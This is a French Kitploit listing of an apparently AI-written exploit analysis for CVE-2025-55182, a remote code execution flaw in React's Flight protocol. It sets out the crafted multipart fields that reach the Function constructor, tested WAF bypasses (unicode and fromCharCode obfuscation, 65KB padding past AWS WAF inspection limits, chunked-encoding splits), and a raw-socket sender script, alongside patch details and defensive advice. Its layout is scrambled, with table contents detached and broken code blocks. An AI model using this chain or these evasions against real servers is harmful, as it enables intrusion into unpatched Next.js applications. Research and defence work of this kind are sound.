Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182 — Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité RCE critique dans le protocole Flight de React. Couvre le path traversal, l'injection de faux chunks et les techniques de contournement WAF. | Kitploit
Outils/GitHubGitHub/hulh122/cve-2025-55182
Analyse des VulnérabilitésExploitationExploitation d'Applications WebContournement de WAFApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubhulh122/cve-2025-55182

CVE-2025-55182

Analyse technique détaillée et preuve de concept d'exploitation pour CVE-2025-55182, une vulnérabilité RCE critique dans le protocole Flight de React. Couvre le path traversal, l'injection de faux chunks et les techniques de contournement WAF.

Voir le dépôt
il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 - RCE des composants serveur React

NOTE : Écrit par IA/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

TL;DR

CVE-2025-55182 est une vulnérabilité RCE critique dans le protocole Flight de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus du gestionnaire $B pour exécuter Function(attacker_code).

Un grand merci à maple3142 pour la chaîne d'exploitation fonctionnelle !


L'exploit

Aperçu de l'attaque

L'exploit utilise trois champs de formulaire pour construire une charge utile malveillante :

  1. Crée un objet chunk fictif avec un then autoréférentiel (champ 1 $@0 → champ 0)
  2. Intègre un _response fictif avec _formData.get défini sur $1:constructor:constructor
  3. Déclenche le gestionnaire $B qui appelle response._formData.get(response._prefix + id)
  4. La traversée de chemin résout _formData.get → Function, exécutant Function(code)

Déroulement de l'exploitation```

┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Composants clés

| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Thenable auto-référent ; chunk 1 (`$@0`) pointe vers le chunk 0 |
| `status: "resolved_model"` | Rend l'objet similaire à un chunk React valide |
| `reason: -1` | Définit rootReference sur undefined (évite les conflits de référence) |
| `value: '{"then":"$B1337"}'` | Charge utile imbriquée qui déclenche le gestionnaire `$B` |
| `_response._prefix` | Contient la chaîne de code RCE |
| `_response._chunks: "$Q2"` | Map vide pour éviter les plantages lors du traitement des chunks |
| `_response._formData.get` | Pointe vers `Function` via `$1:constructor:constructor` |

### Analyse approfondie des composants

#### Structure des champs de formulaire

L'exploit utilise trois champs de formulaire avec des références circulaires :```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0"    ← references back to field 0
Field 2: []       ← empty array for _chunks Map

Thenable auto-référent (then)

Le then: "$1:__proto__:then" crée une auto-référence qui se résout en une vraie fonction :``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

root@kitploit:~
**Pourquoi c'est crucial :**

1. `then` résout en `Chunk.prototype.then` - une vraie fonction appelable
2. Cela fait de l'objet factice un thenable valide
3. Lors de l'attente, JS appelle `obj.then(resolve, reject)`
4. `Chunk.prototype.then` s'exécute avec l'objet factice comme `this` :```javascript
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {  // this.status = "resolved_model" ✓
    case "resolved_model":
      initializeModelChunk(this);  // fake object passed!
  1. initializeModelChunk(this) utilise this._response - le faux _response de l'attaquant :```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
root@kitploit:~
**Sans l'auto-référence**, la fausse `_response` ne serait jamais utilisée. L'auto-référence amène `Chunk.prototype.then` à traiter l'objet de l'attaquant comme un véritable Chunk.

#### Déclencheur Thenable en deux étapes (`value`)

Le champ `value` contient une chaîne JSON imbriquée avec un autre thenable :```json
{"then":"$B1337"}

Étape 1 : Le then autoréférentiel de l'objet extérieur déclenche le traitement des morceaux

Étape 2 : Lorsque React résout le modèle, il analyse value et rencontre un autre thenable avec then: "$B1337". Le préfixe $B déclenche le gestionnaire :```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

root@kitploit:~
`_formData.get` est `"$1:constructor:constructor"` → `getOutlinedModel()` se résout en `Function`.

Cela devient : `Function(code + "1337")` → JS valide car `1337` est simplement une expression de fin.

#### Remplissage défensif (`_chunks`)

Le faux `_response` a besoin d'une propriété `_chunks` valide pour éviter les plantages :```
Form field "2": []           ← empty array
_chunks: "$Q2"               ← $Q = Map type, creates new Map([])

Le code interne de React peut accéder à response._chunks.get() ou response._chunks.has() pendant le traitement. Une Map vide satisfait ces appels sans erreur, permettant à l'exécution d'atteindre le gestionnaire $B vulnérable.


Chemins de code vulnérables

decodeReply() est le point d'entrée, non vulnérable en lui-même.

Traversée de chemin (getOutlinedModel()) :```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

root@kitploit:~
**Utilisation de la réponse factice** (`initializeModelChunk()`):```javascript
value = reviveModel(
  chunk._response,  // Uses chunk._response directly!
  { "": rawModel },
  ...
);

$B Gestionnaire RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

root@kitploit:~
---

## Le correctif (19.2.1)

Le correctif inclut plusieurs corrections :

1. **`RESPONSE_SYMBOL` dans `initializeModelChunk()`** - Correction critique   ```javascript
   // BEFORE: chunk._response (attacker can set via JSON)
   value = reviveModel(chunk._response, ...);

   // AFTER: Symbol lookup (cannot be forged via JSON)
   var response = chunk.reason[RESPONSE_SYMBOL];
   value = reviveModel(response, ...);
  1. hasOwnProperty check in getOutlinedModel() - Bloque le parcours du prototype ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
    root@kitploit:~
  2. Gestion de __proto__ dans reviveModel() - Empêche la pollution du prototype ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
    root@kitploit:~
  3. Vérification de type dans initializeModelChunk() - Valide les écouteurs ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
    root@kitploit:~

Impact et Versions

Évaluation de l'impact

CapacitéStatutNotes
Parcours de la chaîne de prototypes

Versions affectées

  • react-server-dom-webpack : 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack : Mêmes versions
  • Next.js : 15.x, 16.x (avant correctifs), canaries à partir de 14.3.0-canary.77+

Versions corrigées

  • React : 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js : 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

Pourquoi la détection basée sur les signatures des WAF échoue

Cette section explique pourquoi les règles traditionnelles de correspondance de motifs des WAF ne peuvent pas détecter de manière fiable cette exploitation. Comprendre ces limitations est essentiel pour les équipes de sécurité qui évaluent leur posture défensive.

Le problème central : Encodage à plusieurs couches

La charge utile de l'exploitation traverse plusieurs analyseurs, chacun avec un support d'encodage différent. Un WAF inspectant les octets HTTP bruts voit des chaînes encodées, mais le serveur les décode avant le traitement :

CoucheAnalyseurDécodage
Structure JSON

Cela crée un décalage fondamental : le WAF voit des octets encodés, mais l'application voit des chaînes décodées.

Ce à quoi les signatures devraient correspondre

Un WAF naïf pourrait rechercher des motifs comme constructor, __proto__, resolved_model, ou child_process. Cependant, JSON permet les échappements unicode pour n'importe quel caractère :

Le code JavaScript à l'intérieur de la charge utile a encore plus d'options d'encodage :

Motif

Le fossé de détection

Lorsque toutes les techniques d'encodage sont combinées :

  • Les clés JSON deviennent des séquences unicode (\u0074\u0068\u0065\u006e pour then)
  • Les identifiants JS deviennent des tableaux numériques (S(99,104,105,108,100,95,...) pour child_process)
  • La charge utile brute ne contient aucun mot-clé reconnaissable

Un WAF analysant le corps HTTP ne voit que des séquences d'échappement et des nombres - rien qui ne corresponde aux signatures d'attaque traditionnelles.

Pourquoi cela est important pour les défenseurs

  1. Les règles basées sur les signatures procurent une fausse confiance - La charge utile atteint le serveur sans être détectée
  2. L'encodage est infini - Chaque caractère peut être échappé différemment ; les regex ne peuvent pas énumérer toutes les variantes
  3. L'attaque est conforme au protocole - Tous les encodages sont valides selon les spécifications JSON/JavaScript

Considérations sur la détection des en-têtes

L'en-tête Next-Action identifie les requêtes d'actions serveur. Bien que les noms d'en-tête ne puissent pas être encodés en unicode (RFC 7230 exige des jetons ASCII), les différences de normalisation entre le WAF et le serveur créent des failles de détection :

Recommandations défensives

Le correctif est la seule atténuation fiable. Les règles WAF ne peuvent pas bloquer de manière exhaustive cette attaque en raison de la flexibilité de l'encodage.

Versions requises :

  • React : 19.0.1+, 19.1.2+, 19.2.1+
  • Next.js : 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

En cas de report du correctif, envisagez :

  1. Décoder avant la correspondance - Le WAF doit décoder \uXXXX, \xXX et normaliser les appels fromCharCode() avant la correspondance de motifs
  2. Détection structurelle - Rechercher les structures JSON contenant _response, _prefix, _chunks ou des références circulaires ($@0)
  3. Normalisation des en-têtes - Correspondre à l'en-tête next-action de manière insensible à la casse avec suppression des espaces
  4. Bloquer les actions serveur - Si vous n'utilisez pas les actions serveur, bloquer les requêtes avec l'en-tête Next-Action complètement
  5. Surveillance en runtime - Alerter sur les appels à Function() avec des arguments de chaîne dynamiques

Point clé : La correspondance de motifs seule échouera contre cette classe d'attaque. La surface d'encodage est trop vaste pour être énumérée.


Contournement des limites d'inspection du corps de la requête AWS WAF

Même avec des règles WAF complètes, AWS WAF a des limites de taille d'inspection du corps qui peuvent être exploitées. Cette section documente les techniques de contournement testées utilisant des charges utiles surdimensionnées.

Limites d'inspection du corps

AWS WAF n'inspecte qu'une partie du corps de la requête :

BackendLimite par défautMaximum configurable
ALB / AppSync8 Ko8 Ko
CloudFront / API Gateway16 Ko64 Ko
Amazon Cognito / App Runner16 Ko64 Ko

Le problème de OversizeHandling

Les règles WAF spécifient comment gérer les requêtes dépassant les limites d'inspection :

Si votre règle WAF utilise OversizeHandling: CONTINUE (par défaut courant), le contournement est trivial.

Stratégie de contournement : Remplissage avant la charge utile

Placez des données de remplissage inoffensives avant la charge utile d'exploitation afin qu'elles tombent en dehors de la fenêtre d'inspection :``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

root@kitploit:~
### Résultats des Tests

Toutes les charges utiles surdimensionnées ont réussi à exécuter du code à distance (RCE) sur Next.js :

| Taille du remplissage | Corps total | Décalage d'exploitation | Résultat |
|-----------------------|-------------|-------------------------|----------|
| 0 Ko | 0,6 Ko | 0,4 Ko | ✅ RCE |
| 8 Ko | 8,6 Ko | 8,4 Ko | ✅ RCE |
| 16 Ko | 16,6 Ko | 16,5 Ko | ✅ RCE |
| 32 Ko | 32,6 Ko | 32,5 Ko | ✅ RCE |
| 64 Ko | 64,6 Ko | 64,5 Ko | ✅ RCE |
| 128 Ko | 128,6 Ko | 128,5 Ko | ✅ RCE |

### Contournement par Encodage de Transfert en Morceaux

L'encodage de transfert en morceaux HTTP/1.1 divise le corps en morceaux discrets. Si le WAF inspecte les morceaux **avant** le réassemblage, les motifs s'étendant sur les limites des morceaux ne correspondront pas.

#### Comment ça Fonctionne```
HTTP Request with Transfer-Encoding: chunked

17f\r\n                           ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n                            ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n                         ← Terminator

Motif réparti sur plusieurs morceaux :``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

root@kitploit:~
#### Stratégies de segmentation testées

| Stratégie | Description | Résultat |
|-----------|-------------|----------|
| Split at `$@` | `"$` \| `@0"` | ✅ RCE |
| 10-byte fragments | Corps segmenté tous les 10 octets | ✅ RCE |
| 5-byte fragments | Corps segmenté tous les 5 octets | ✅ RCE |
| Split at `status` | `sta` \| `tus` | ✅ RCE |

Toutes les stratégies ont réussi à obtenir une RCE - Next.js reconstitue correctement les requêtes segmentées.

#### Exemple de socket brut```javascript
const net = require('net');
const socket = new net.Socket();

socket.connect(3000, 'localhost', () => {
  // Headers with chunked encoding
  socket.write([
    'POST / HTTP/1.1',
    'Host: localhost:3000',
    'Content-Type: multipart/form-data; boundary=----WebKit',
    'Transfer-Encoding: chunked',
    'Next-Action: test',
    '', ''
  ].join('\r\n'));

  // Chunk 1: everything up to and including "$
  const chunk1 = '...payload ending with "$';
  socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);

  // Chunk 2: "@0" and rest of payload
  const chunk2 = '@0"\r\n...rest of payload';
  socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);

  // Terminator
  socket.write('0\r\n\r\n');
});

Considérations sur le comportement du WAF

Remarque : AWS WAF réassemble généralement les corps fragmentés avant inspection. Cependant, cela doit être vérifié par environnement car les configurations varient.

Recommandations d'atténuation

  1. Modifier OversizeHandling en MATCH ```json "OversizeHandling": "MATCH"
    root@kitploit:~

Cela bloque toute requête dépassant la limite d'inspection lorsque les conditions de règle sont remplies.

  1. Augmenter la limite d'inspection du corps (CloudFront/API Gateway uniquement) Configurez jusqu'à 64 Ko dans les paramètres de l'ACL web, mais cela ne prévient pas complètement le contournement.

  2. Ajouter une règle de blocage basée sur la taille Bloquez les requêtes POST dont l'en-tête Next-Action dépasse une taille raisonnable (par exemple, 10 Ko).

  3. Corriger l'application - La seule solution complète.

Scripts de test

Voir les scripts de test inclus :

  • test-simple.cjs - Test de charge utile de base sans fragmentation
  • test-oversize.cjs - Teste les tailles de remplissage de 0 à 128 Ko
  • test-chunked-v2.cjs - Encodage de transfert fragmenté avec division par $@
  • test-chunked-bypass.cjs - Plusieurs stratégies de fragmentation (5 octets, 10 octets, divisions par motifs)

Utilisation:```bash

Start vulnerable Next.js server (port 3000)

cd nextjs-test && npm run dev

Run tests

node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

root@kitploit:~
---

## Parcours de recherche

### La vulnérabilité : Path Traversal```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
  reference = reference.split(":");
  var id = parseInt(reference[0], 16);
  var parentObject = response.chunks[id];

  // PATH TRAVERSAL - no hasOwnProperty check!
  for (var key = 1; key < reference.length; key++)
    parentObject = parentObject[reference[key]];  // VULNERABLE!

  return map(response, parentObject);
}

Avec le payload "$1:constructor:constructor":

  1. chunk[1]["constructor"] → [Function: Object]
  2. Object["constructor"] → [Function: Function]

Chemins bloqués que nous avons tentés

Bien que nous ayons obtenu Function, parvenir à une RCE nécessite de l'appeler avec des arguments contrôlés. Ces chemins ont échoué :

1. Chemin Thenable (Bloqué)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

root@kitploit:~
**2. Chemin decodeAction (Bloqué)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body

3. Chemin de l'itérateur (Bloqué)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

root@kitploit:~
### La percée

maple3142 a trouvé la pièce manquante : la chaîne du gestionnaire `$B` + faux `_response`. En forçant `then` à se résoudre en `Chunk.prototype.then` via une auto-référence, le faux `_response` est utilisé, permettant l'exécution de code à distance (RCE).

---

## Principales découvertes

1. **La vulnérabilité de `getOutlinedModel()` est réelle** - Les chemins séparés par deux-points permettent de parcourir la chaîne de prototypes

2. **Le constructeur Function est accessible** - `$1:constructor:constructor` fonctionne sans serverManifest

3. **L'exécution de code à distance (RCE) est réalisable** - En créant un faux chunk avec un `_response` contrôlé :
   - Auto-référence `$1:__proto__:then` → `Chunk.prototype.then` fait que le faux `_response` est utilisé
   - La structure du faux chunk imite la classe Chunk interne de React
   - `_response._formData.get` → constructeur `Function`
   - `_response._prefix` → chaîne de code malveillant
   - Le gestionnaire `$B` déclenche `Function(code_malveillant)`

4. **Le correctif est complet** - Multiples vérifications `hasOwnProperty` et validations de type

---

## Références

- [Gist de maple3142](https://gist.github.com/maple3142) - Découverte de la chaîne RCE
- [Avis de sécurité React](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [PoC de msanft](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [Règle AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)

---

## Avertissement

Ce dépôt est destiné **uniquement à la recherche en sécurité éducative et défensive**. La vulnérabilité a été corrigée. Mettez à jour vos dépendances immédiatement.
Télécharger l’outil
CheminFonctionObjectif dans l'exploit
Traversée de chemingetOutlinedModel()Résout $1:constructor:constructor → Function
Injection de faux _responseinitializeModelChunk()Utilise le chunk._response de l'attaquant
Gestionnaire $BparseModelString()Appelle _formData.get(_prefix + id) → RCE
✓ Confirmé
Via $1:constructor:constructor
Accès au constructeur Function✓ ConfirméAucun manifeste nécessaire
RCE complète✓ ConfirméVia faux chunk + gestionnaire $B
JSON.parse()
Échappements unicode \uXXXX
Code JavaScriptConstructeur Function()\uXXXX, \xXX, octal, fromCharCode()
Motif littéralÉquivalent UnicodeDétection WAF
constructor\u0063onstructorContourné
__proto__\u005f\u005fproto\u005f\u005fContourné
resolved_model\u0072esolved_modelContourné
$@ (réf. circulaire)$\u0040Contourné
Options d'encodage
process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
child_process\x63hild_process, codes de caractères numériques, base64
Tout identifiantNotation par crochets : this[S(112,114,...)] où S=String.fromCharCode
VarianteComportement du serveurRisque WAF
next-action (minuscules)Accepté (HTTP insensible à la casse)Manqué si le WAF attend une casse exacte
Next-Action:\tx (tabulation)Accepté (espacement normalisé)Manqué si le WAF attend un espace
Next-Action: x (espaces)AcceptéManqué sans normalisation
ParamètreComportementExploitable ?
CONTINUEInspecte les octets disponibles, évalue la règleOui - la charge utile après la limite n'est pas inspectée
MATCHConsidère comme correspondant (bloque)Non - bloque les requêtes surdimensionnées
NO_MATCHConsidère comme ne correspondant pasOui - passe au travers
Type de WAFGestion des fragmentsContournement possible ?
AWS WAF (ALB)Réassemble avant inspectionPeu probable
AWS WAF (CloudFront)Réassemble avant inspectionPeu probable
Certains WAFs héritésInspecte par fragmentOui
Nginx ModSecurityConfigurableDépend de la configuration